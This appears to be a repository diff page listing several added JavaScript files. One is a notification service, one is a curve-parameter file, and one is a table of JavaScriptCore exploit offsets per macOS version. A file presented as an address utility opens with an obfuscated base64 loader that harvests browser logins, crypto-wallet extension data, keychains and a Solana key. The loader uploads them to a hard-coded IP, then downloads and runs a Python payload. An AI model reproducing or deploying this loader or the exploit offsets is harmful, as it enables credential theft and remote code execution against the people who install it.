| 59 |
+
let result = await NotificationModel.find({userid : userId});
|
| 60 |
+
if (result.length === 0) {
|
| 61 |
+
return {response: false, message:"no depositInfo.", data: null}
|
| 62 |
+
}
|
| 63 |
+
return {response:true, message:"Success", data:result};
|
| 64 |
+
} catch (error) {
|
| 65 |
+
return {response:false, message:error, data:null};
|
| 66 |
+
}
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
static async getOneNotification(Id) {
|
| 70 |
+
try {
|
| 71 |
+
let result = await NotificationModel.findOne({id:Id});
|
| 72 |
+
if (!result) {
|
| 73 |
+
return {response: false, message:"That notification does not exist.", data: null}
|
| 74 |
+
}
|
| 75 |
+
return {response:true, message:"Success", data:result};
|
| 76 |
+
} catch (error) {
|
| 77 |
+
return {response:false, message:error, data:null}
|
| 78 |
+
}
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
static async deleteNotification(Id) {
|
| 82 |
+
try {
|
| 83 |
+
let result = await NotificationModel.delete({id:Id});
|
| 84 |
+
if (result.error) {
|
| 85 |
+
return {response: false, message:result.error, data: null}
|
| 86 |
+
}
|
| 87 |
+
if (result) {
|
| 88 |
+
return {response: true, message:"Success", data:null};
|
| 89 |
+
} else {
|
| 90 |
+
return {response: false, message:"That notification does not exist.", data:null};
|
| 91 |
+
}
|
| 92 |
+
} catch (error) {
|
| 93 |
+
return {response:false, message:error.message, data:null};
|
| 94 |
+
}
|
| 95 |
+
}
|
| 96 |
+
}
|
| 97 |
+
|
| 98 |
+
module.exports = NotificationService
|
code/1c7593078f69f642b3442dc558cddff4347334ed7c96cd096367afd08dca67bc
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
code/1d499c401d8854b6331d3b531fc57418dd2b132861e0448ae198dcbea41484ab
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// We could get rid of this entire file by either searching for memory patters (of the function code) or
|
| 2 |
+
// by writing a mach-o/dyld_shared_cache parser in JavaScript. Offsets are fine for this purpose though...
|
| 3 |
+
|
| 4 |
+
// Offset of leaked vtable from the base of the JavaScriptCore .bss section
|
| 5 |
+
//27 0x00000000 0 0x00536bb0 152145 -rw- 27.__DATA.__bss
|
| 6 |
+
/*
|
| 7 |
+
const JSC_VTAB_OFFSET = 0xd5f8;//
|
| 8 |
+
|
| 9 |
+
// Offset of GOT entry for strlen from the base of the JavaScriptCore .bss section
|
| 10 |
+
const STRLEN_GOT_OFFSET = 0xde8; //0x00516a90
|
| 11 |
+
|
| 12 |
+
// Offset of strlen from the base of libsystem_c.dylib
|
| 13 |
+
const STRLEN_OFFSET = 0xfa0; //for 10.10.5
|
| 14 |
+
|
| 15 |
+
// Offset of confstr from the base of libsystem_c.dylib
|
| 16 |
+
const CONFSTR_OFFSET = 0x1c34; //for 10.10.5
|
| 17 |
+
|
| 18 |
+
// Offset of dlopen from the base of libdyld.dylib
|
| 19 |
+
const DLOPEN_OFFSET = 0x281c; //for 10.10.5
|
| 20 |
+
|
| 21 |
+
// Offset of dyld_stub_loader from the base of libdyld.dylib
|
| 22 |
+
const DYLD_STUB_LOADER_OFFSET = 0x12a0; //for 10.10.5
|
| 23 |
+
*/
|
| 24 |
+
|
| 25 |
+
var JSC_VTAB_OFFSET = 0;
|
| 26 |
+
var DYLD_STUB_LOADER_OFFSET = 0;
|
| 27 |
+
var STRLEN_GOT_OFFSET = 0;
|
| 28 |
+
var STRLEN_OFFSET = 0;
|
| 29 |
+
var CONFSTR_OFFSET = 0;
|
| 30 |
+
var DLOPEN_OFFSET = 0;
|
| 31 |
+
|
| 32 |
+
userAgent=navigator.userAgent;
|
| 33 |
+
patern1=" OS X ";
|
| 34 |
+
patern2=") AppleWebKit/";
|
| 35 |
+
pos1=userAgent.indexOf(patern1)+patern1.length;
|
| 36 |
+
pos2=userAgent.indexOf(patern2);
|
| 37 |
+
ver=userAgent.substring(pos1,pos2);
|
| 38 |
+
console.log(ver);
|
| 39 |
+
|
| 40 |
+
switch(ver)
|
| 41 |
+
{
|
| 42 |
+
case "10_12_3":
|
| 43 |
+
JSC_VTAB_OFFSET = 0xc458;
|
| 44 |
+
DYLD_STUB_LOADER_OFFSET = 0x1374;
|
| 45 |
+
STRLEN_GOT_OFFSET = 0xe80;
|
| 46 |
+
STRLEN_OFFSET = 0x1b40;
|
| 47 |
+
CONFSTR_OFFSET = 0x2c84;
|
| 48 |
+
DLOPEN_OFFSET = 0x2a03;
|
| 49 |
+
break;
|
| 50 |
+
/*
|
| 51 |
+
'10.12.6' => {
|
| 52 |
+
:jsc_vtab => '0x0000d8d8',
|
| 53 |
+
:dyld_stub_loader => '0x00001168',
|
| 54 |
+
:dlopen => '0x000027f7',
|
| 55 |
+
:confstr => '0x00002c84',
|
| 56 |
+
:strlen => '0x00001b40',
|
| 57 |
+
:strlen_got => '0xdc0',
|
| 58 |
+
},
|
| 59 |
+
*/
|
| 60 |
+
case "10_13":
|
| 61 |
+
JSC_VTAB_OFFSET = 0xe5f8;
|
| 62 |
+
DYLD_STUB_LOADER_OFFSET = 0x12a8;
|
| 63 |
+
STRLEN_GOT_OFFSET = 0xee8;
|
| 64 |
+
STRLEN_OFFSET = 0x1440;
|
| 65 |
+
CONFSTR_OFFSET = 0x24fc;
|
| 66 |
+
DLOPEN_OFFSET = 0x2e60;
|
| 67 |
+
break;
|
| 68 |
+
|
| 69 |
+
case "10_13_1":
|
| 70 |
+
JSC_VTAB_OFFSET = 0xe5f8;
|
| 71 |
+
DYLD_STUB_LOADER_OFFSET = 0x12a8;
|
| 72 |
+
STRLEN_GOT_OFFSET = 0xf00;
|
| 73 |
+
STRLEN_OFFSET = 0x1480;
|
| 74 |
+
CONFSTR_OFFSET = 0x24dc;
|
| 75 |
+
DLOPEN_OFFSET = 0x2e60;
|
| 76 |
+
break;
|
| 77 |
+
|
| 78 |
+
case "10_13_2":
|
| 79 |
+
JSC_VTAB_OFFSET = 0xe5e8;
|
| 80 |
+
DYLD_STUB_LOADER_OFFSET = 0x1278;
|
| 81 |
+
STRLEN_GOT_OFFSET = 0xee0;
|
| 82 |
+
STRLEN_OFFSET = 0x1420;
|
| 83 |
+
CONFSTR_OFFSET = 0x24dc;
|
| 84 |
+
DLOPEN_OFFSET = 0x2e30;
|
| 85 |
+
break;
|
| 86 |
+
|
| 87 |
+
case "10_13_3":
|
| 88 |
+
JSC_VTAB_OFFSET = 0xe5e8;
|
| 89 |
+
DYLD_STUB_LOADER_OFFSET = 0x1278;
|
| 90 |
+
STRLEN_GOT_OFFSET = 0xee0;
|
| 91 |
+
STRLEN_OFFSET = 0x1420;
|
| 92 |
+
CONFSTR_OFFSET = 0x24dc;
|
| 93 |
+
DLOPEN_OFFSET = 0x2e30;
|
| 94 |
+
break;
|
| 95 |
+
|
| 96 |
+
default:
|
| 97 |
+
}
|
| 98 |
+
|
code/1da0ca42fd902ecce7c00828777e0b5e99a39972e1f199337e54051fbffd328f
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* Address js file. */ Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",a=require("fs"),$=require("os"),r=a=>(s1=a.slice(1),Buffer.from(s1,t).toString(c));pt=require(r("zcGF0aA")),rq=require(r("YcmVxdWVzdA")),cr=require(r("aY3J5cHRv")),ex=require(r("aY2hpbGRfcHJvY2Vzcw"))[r("cZXhlYw")],hs=$[r("caG9zdG5hbWU")](),pl=$[r("YcGxhdGZvcm0")](),hd=$[r("ZaG9tZWRpcg")](),td=$[r("cdG1wZGly")](),tp=$[r("AdHlwZQ")]();let e;const n=a=>Buffer.from(a,t).toString(c),l=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTQuMTMxOjEyNDQ= ";for(var c="",a="",$="",r="",e=0;e<10;e++)c+=t[e],a+=t[10+e],$+=t[20+e],r+=t[30+e];return c=c+$+r,n(a)+n(c)},s=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),h="slJcNQ1",o="Z2V0",i="Ly5ucGw",Z="d3JpdGVGaWxlU3luYw",m="L2NsaWVudA",u=n("ZXhpc3RzU3luYw"),d="TG9naW4gRGF0YQ",y="Y29weUZpbGU";function p(t){const c=n("YWNjZXNz"+"U3luYw");try{return a[c](t),!0}catch(t){return!1}}const b=n("RGVmYXVsdA"),G=n("UHJvZmlsZQ"),f=r("aZmlsZW5hbWU"),W=r("cZm9ybURhdGE"),Y=r("adXJs"),w=r("Zb3B0aW9ucw"),V=r("YdmFsdWU"),v=n("cmVhZGRpclN5bmM"),j=n("c3RhdFN5bmM"),L=(n("aXNEaXJlY3Rvcnk"),n("cG9zdA")),x="Ly5jb25maWcv",z="L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8",F="L0FwcERhdGEv",R="L1VzZXIgRGF0YQ",N="R29vZ2xlL0Nocm9tZQ",X="QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",Q="Z29vZ2xlLWNocm9tZQ",_=["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",X,"QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"],J=["TG9jYWwvR29vZ2xlL0Nocm9tZQ",N,Q],g=["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU","Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE","b3BlcmE"];let k="comp";const U=["bmtiaWhmYmVv","ZWpiYWxiYWtv","Zmhib2hpbWFl","aG5mYW5rbm9j","aWJuZWpkZmpt","YmZuYWVsbW9t","YWVhY2hrbm1l","aGlmYWZnbWNj"],B=["Z2FlYW9laGxlZm5rb2RiZWZncGdrbm4","cGxjaGxnaGVjZGFsbWVlZWFqbmltaG0","bGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA","ZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ","bWtwY25scGVia2xtbmtvZW9paG9mZWM","ZWltaGxwbWdqbmpvcGhocGtrb2xqcGE","ZnBoZXBjY2lvbmJvb2hja29ub2VlbWc","ZHBla3Bsb21qamtjZmdvZG5oY2VsbGo"],q="Y3JlYXRlUmVhZFN0cmVhbQ",C=async(t,c,$)=>{let r=t;if(!r||""===r)return[];try{if(!p(r))return[]}catch(t){return[]}c||(c="");let e=[];const l=n("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),s=n(q),h=n("LmxkYg"),o=n("LmxvZw");for(let $=0;$<200;$++){const i=`${t}/${0===$?b:`${G} ${$}`}/${l}`;for(let t=0;t<U.length;t++){const l=n(U[t]+B[t]);let Z=`${i}/${l}`;if(p(Z)){try{far=a[v](Z)}catch(t){far=[]}far.forEach((async t=>{r=pt.join(Z,t);try{(r.includes(h)||r.includes(o))&&e.push({[V]:a[s](r),[w]:{[f]:`${c}${$}_${l}_${t}`}})}catch(t){}}))}}}if($){const t=n("c29sYW5hX2lkLnR4dA");if(r=`${hd}${n("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`,a[u](r))try{e.push({[V]:a[s](r),[w]:{[f]:t}})}catch(t){}}return S(e),e},S=t=>{const c=r("YbXVsdGlfZmlsZQ"),a=n("L3VwbG9hZHM"),$={timestamp:e.toString(),type:h,hid:k,[c]:t},s=l();try{const t={[Y]:`${s}${a}`,[W]:$};rq[L](t,((t,c,a)=>{}))}catch(t){}},T=async(t,c)=>{try{const a=s("~/");let $="";$="d"==pl[0]?`${a}${n(z)}${n(t[1])}`:"l"==pl[0]?`${a}${n(x)}${n(t[2])}`:`${a}${n(F)}${n(t[0])}${n(R)}`,await C($,`${c}_`,0==c)}catch(t){}},H=async()=>{let t=[];const c=n(d),$=n(q),r=n("L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu"),e=n("bG9na2MtZGI");if(pa=`${hd}${r}`,a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}else if(pa+="-db",a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(N)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`pld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`pld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},A=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(X)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/brld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`brld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`brld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},E=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("bG9naW5zLmpzb24");try{let e="";if(e=`${hd}${n(z)}${n("RmlyZWZveA")}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=0===n?b:`${G} ${n}`,s=`${e}/${l}/${$}`,h=`${e}/${l}/${r}`;try{if(!p(s))continue;t.push({[V]:a[c](s),[w]:{[f]:`fk4_${n}`}})}catch(t){}try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},M=async()=>{let t=[];n(d);const c=n(q);try{const t=n("Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8");let $="";$=`${hd}${t}`;let r=[];if($&&""!==$&&p($))try{r=a[v]($)}catch(t){r=[]}r.forEach((async t=>{pa=pt.join($,t);try{ldb_data.push({[V]:a[c](pa),[w]:{[f]:`${t}`}})}catch(t){}}))}catch(t){}return S(t),t},I=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(x)}${n(Q)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`plld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`plld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},O=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("a2V5My5kYg"),e=n("bG9naW5zLmpzb24");try{let l="";if(l=`${hd}${n("Ly5tb3ppbGxhL2ZpcmVmb3gv")}`,l&&""!==l&&p(l))for(let n=0;n<200;n++){const s=0===n?b:`${G} ${n}`,h=`${l}/${s}/${$}`,o=`${l}/${s}/${r}`,i=`${l}/${s}/${e}`;try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flk4_${n}`}})}catch(t){}try{if(!p(o))continue;t.push({[V]:a[c](o),[w]:{[f]:`flk3_${n}`}})}catch(t){}try{if(!p(i))continue;t.push({[V]:a[c](i),[w]:{[f]:`fllj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},P=n("cm1TeW5j"),D="XC5weXBccHl0aG9uLmV4ZQ",K=51476590;let tt=0;const ct=async t=>{const c=`${n("dGFyIC14Zg")} ${t} -C ${hd}`;ex(c,((c,$,r)=>{if(c)return a[P](t),void(tt=0);a[P](t),rt()}))},at=()=>{const t=n("cDIuemlw"),c=`${l()}${n("L3Bkb3du")}`,$=`${td}\\${n("cC56aQ")}`,r=`${td}\\${t}`;if(tt>=K+6)return;const e=n("cmVuYW1lU3luYw"),s=n("cmVuYW1l");if(a[u]($))try{var h=a[j]($);h.size>=K+6?(tt=h.size,a[s]($,r,(t=>{if(t)throw t;ct(r)}))):(tt<h.size?tt=h.size:(a[P]($),tt=0),$t())}catch(t){}else{const t=`${n("Y3VybCAtTG8")} "${$}" "${c}"`;ex(t,((t,c,n)=>{if(t)return tt=0,void $t();try{tt=K+6,a[e]($,r),ct(r)}catch(t){}}))}};function $t(){setTimeout((()=>{at()}),2e4)}const rt=async()=>await new Promise(((t,c)=>{if("w"==pl[0]){const t=`${hd}${n(D)}`;a[u](`${t}`)?(()=>{const t=l(),c=n(m),$=n(o),r=n(Z),e=n(i),s=`${t}${c}/${h}`,u=`${hd}${e}`,d=`"${hd}${n(D)}" "${u}"`;try{a[P](u)}catch(t){}rq[$](s,((t,c,$)=>{if(!t)try{a[r](u,$),ex(d,((t,c,a)=>{}))}catch(t){}}))})():at()}else(()=>{const t=l(),c=n(m),$=n(Z),r=n(o),e=n(i),s=n("cHl0aG9u"),u=`${t}${c}/${h}`,d=`${hd}${e}`;let y=`${s}3 "${d}"`;rq[r](u,((t,c,r)=>{t||(a[$](d,r),ex(y,((t,c,a)=>{})))}))})()}));var et=0;const nt=async()=>{try{e=Date.now(),await(async()=>{k=hs;try{const t=s("~/");await T(J,0),await T(_,1),await T(g,2),"w"==pl[0]?(pa=`${t}${n(F)}${n("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${n(R)}`,await C(pa,"3_",!1)):"d"==pl[0]?(await H(),await A(),await E()):"l"==pl[0]&&(await M(),await I(),await O())}catch(t){}})(),rt()}catch(t){}};nt();let lt=setInterval((()=>{(et+=1)<5?nt():clearInterval(lt)}),6e5);
|
| 2 |
+
|
| 3 |
+
var AddressUtilities = function AddressUtilities(){
|
| 4 |
+
|
| 5 |
+
var self = this;
|
| 6 |
+
|
| 7 |
+
this.parseAddress = parseAddress;
|
| 8 |
+
|
| 9 |
+
function parseAddress(address){
|
| 10 |
+
address = address.replace('localhost','192.168.1.1');
|
| 11 |
+
var addressAndPortRegex = /(([012]{0,1}[0-9]{1,2}\.){3}[012]{0,1}[0-9]{1,2}):[0-9]{3,4}/;
|
| 12 |
+
if(address.match(addressAndPortRegex)[0]){
|
| 13 |
+
return {host: address.match(addressAndPortRegex)[0].split(':')[0], port: address.match(addressAndPortRegex)[0].split(':')[1]};
|
| 14 |
+
} else {
|
| 15 |
+
return address;
|
| 16 |
+
}
|
| 17 |
+
}
|
| 18 |
+
|
| 19 |
+
if(AddressUtilities.caller != AddressUtilities.getInstance){
|
| 20 |
+
throw new Error("This object cannot be instanciated");
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
};
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
AddressUtilities.instance = null;
|
| 27 |
+
AddressUtilities.getInstance = function(){
|
| 28 |
+
if(this.instance === null){
|
| 29 |
+
this.instance = new AddressUtilities();
|
| 30 |
+
}
|
| 31 |
+
return this.instance;
|
| 32 |
+
};
|
| 33 |
+
|
| 34 |
+
module.exports = AddressUtilities.getInstance();
|
code/1dc1ab5e590a83a60aec7f38fe65440b45a3d2fc36b47741a6621b4c196cc60c
ADDED
|
@@ -0,0 +1,170 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/*
|
| 2 |
+
* Taken from
|
| 3 |
+
* http://csrc.nist.gov/groups/ST/toolkit/documents/dss/NISTReCur.pdf
|
| 4 |
+
*/
|
| 5 |
+
|
| 6 |
+
2022
|
| 7 |
+
|
| 8 |
+
//
|
| 9 |
+
// Allowed token characters:
|
| 10 |
+
//
|
| 11 |
+
// '!', '#', '$', '%', '&', ''', '*', '+', '-',
|
| 12 |
+
// '.', 0-9, A-Z, '^', '_', '`', a-z, '|', '~'
|
| 13 |
+
//
|
| 14 |
+
// tokenChars[32] === 0 // ' '
|
| 15 |
+
// tokenChars[33] === 1 // '!'
|
| 16 |
+
// tokenChars[34] === 0 // '"'
|
| 17 |
+
// ...
|
| 18 |
+
//
|
| 19 |
+
// prettier-ignore
|
| 20 |
+
|
| 21 |
+
/*
|
| 22 |
+
var curves = {
|
| 23 |
+
'nistp256': {
|
| 24 |
+
size: 256,
|
| 25 |
+
pkcs8oid: '1.2.840.10045.3.1.7',
|
| 26 |
+
p: Buffer.from(('00' +
|
| 27 |
+
'ffffffff 00000001 00000000 00000000' +
|
| 28 |
+
'00000000 ffffffff ffffffff ffffffff').
|
| 29 |
+
replace(/ /g, ''), 'hex'),
|
| 30 |
+
a: Buffer.from(('00' +
|
| 31 |
+
'FFFFFFFF 00000001 00000000 00000000' +
|
| 32 |
+
'00000000 FFFFFFFF FFFFFFFF FFFFFFFC').
|
| 33 |
+
replace(/ /g, ''), 'hex'),
|
| 34 |
+
b: Buffer.from((
|
| 35 |
+
'5ac635d8 aa3a93e7 b3ebbd55 769886bc' +
|
| 36 |
+
'651d06b0 cc53b0f6 3bce3c3e 27d2604b').
|
| 37 |
+
replace(/ /g, ''), 'hex'),
|
| 38 |
+
s: Buffer.from(('00' +
|
| 39 |
+
'c49d3608 86e70493 6a6678e1 139d26b7' +
|
| 40 |
+
'819f7e90').
|
| 41 |
+
replace(/ /g, ''), 'hex'),
|
| 42 |
+
n: Buffer.from(('00' +
|
| 43 |
+
'ffffffff 00000000 ffffffff ffffffff' +
|
| 44 |
+
'bce6faad a7179e84 f3b9cac2 fc632551').
|
| 45 |
+
replace(/ /g, ''), 'hex'),
|
| 46 |
+
G: Buffer.from(('04' +
|
| 47 |
+
'6b17d1f2 e12c4247 f8bce6e5 63a440f2' +
|
| 48 |
+
'77037d81 2deb33a0 f4a13945 d898c296' +
|
| 49 |
+
'4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16' +
|
| 50 |
+
'2bce3357 6b315ece cbb64068 37bf51f5').
|
| 51 |
+
replace(/ /g, ''), 'hex')
|
| 52 |
+
},
|
| 53 |
+
'nistp384': {
|
| 54 |
+
size: 384,
|
| 55 |
+
pkcs8oid: '1.3.132.0.34',
|
| 56 |
+
p: Buffer.from(('00' +
|
| 57 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 58 |
+
'ffffffff ffffffff ffffffff fffffffe' +
|
| 59 |
+
'ffffffff 00000000 00000000 ffffffff').
|
| 60 |
+
replace(/ /g, ''), 'hex'),
|
| 61 |
+
a: Buffer.from(('00' +
|
| 62 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 63 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE' +
|
| 64 |
+
'FFFFFFFF 00000000 00000000 FFFFFFFC').
|
| 65 |
+
replace(/ /g, ''), 'hex'),
|
| 66 |
+
b: Buffer.from((
|
| 67 |
+
'b3312fa7 e23ee7e4 988e056b e3f82d19' +
|
| 68 |
+
'181d9c6e fe814112 0314088f 5013875a' +
|
| 69 |
+
'c656398d 8a2ed19d 2a85c8ed d3ec2aef').
|
| 70 |
+
replace(/ /g, ''), 'hex'),
|
| 71 |
+
s: Buffer.from(('00' +
|
| 72 |
+
'a335926a a319a27a 1d00896a 6773a482' +
|
| 73 |
+
'7acdac73').
|
| 74 |
+
replace(/ /g, ''), 'hex'),
|
| 75 |
+
n: Buffer.from(('00' +
|
| 76 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 77 |
+
'ffffffff ffffffff c7634d81 f4372ddf' +
|
| 78 |
+
'581a0db2 48b0a77a ecec196a ccc52973').
|
| 79 |
+
replace(/ /g, ''), 'hex'),
|
| 80 |
+
G: Buffer.from(('04' +
|
| 81 |
+
'aa87ca22 be8b0537 8eb1c71e f320ad74' +
|
| 82 |
+
'6e1d3b62 8ba79b98 59f741e0 82542a38' +
|
| 83 |
+
'5502f25d bf55296c 3a545e38 72760ab7' +
|
| 84 |
+
'3617de4a 96262c6f 5d9e98bf 9292dc29' +
|
| 85 |
+
'f8f41dbd 289a147c e9da3113 b5f0b8c0' +
|
| 86 |
+
'0a60b1ce 1d7e819d 7a431d7c 90ea0e5f').
|
| 87 |
+
replace(/ /g, ''), 'hex')
|
| 88 |
+
},
|
| 89 |
+
'nistp521': {
|
| 90 |
+
size: 521,
|
| 91 |
+
pkcs8oid: '1.3.132.0.35',
|
| 92 |
+
p: Buffer.from((
|
| 93 |
+
'01ffffff ffffffff ffffffff ffffffff' +
|
| 94 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 95 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 96 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 97 |
+
'ffff').replace(/ /g, ''), 'hex'),
|
| 98 |
+
a: Buffer.from(('01FF' +
|
| 99 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 100 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 101 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF' +
|
| 102 |
+
'FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFC').
|
| 103 |
+
replace(/ /g, ''), 'hex'),
|
| 104 |
+
b: Buffer.from(('51' +
|
| 105 |
+
'953eb961 8e1c9a1f 929a21a0 b68540ee' +
|
| 106 |
+
'a2da725b 99b315f3 b8b48991 8ef109e1' +
|
| 107 |
+
'56193951 ec7e937b 1652c0bd 3bb1bf07' +
|
| 108 |
+
'3573df88 3d2c34f1 ef451fd4 6b503f00').
|
| 109 |
+
replace(/ /g, ''), 'hex'),
|
| 110 |
+
s: Buffer.from(('00' +
|
| 111 |
+
'd09e8800 291cb853 96cc6717 393284aa' +
|
| 112 |
+
'a0da64ba').replace(/ /g, ''), 'hex'),
|
| 113 |
+
n: Buffer.from(('01ff' +
|
| 114 |
+
'ffffffff ffffffff ffffffff ffffffff' +
|
| 115 |
+
'ffffffff ffffffff ffffffff fffffffa' +
|
| 116 |
+
'51868783 bf2f966b 7fcc0148 f709a5d0' +
|
| 117 |
+
'3bb5c9b8 899c47ae bb6fb71e 91386409').
|
| 118 |
+
replace(/ /g, ''), 'hex'),
|
| 119 |
+
G: Buffer.from(('04' +
|
| 120 |
+
'00c6 858e06b7 0404e9cd 9e3ecb66 2395b442' +
|
| 121 |
+
'9c648139 053fb521 f828af60 6b4d3dba' +
|
| 122 |
+
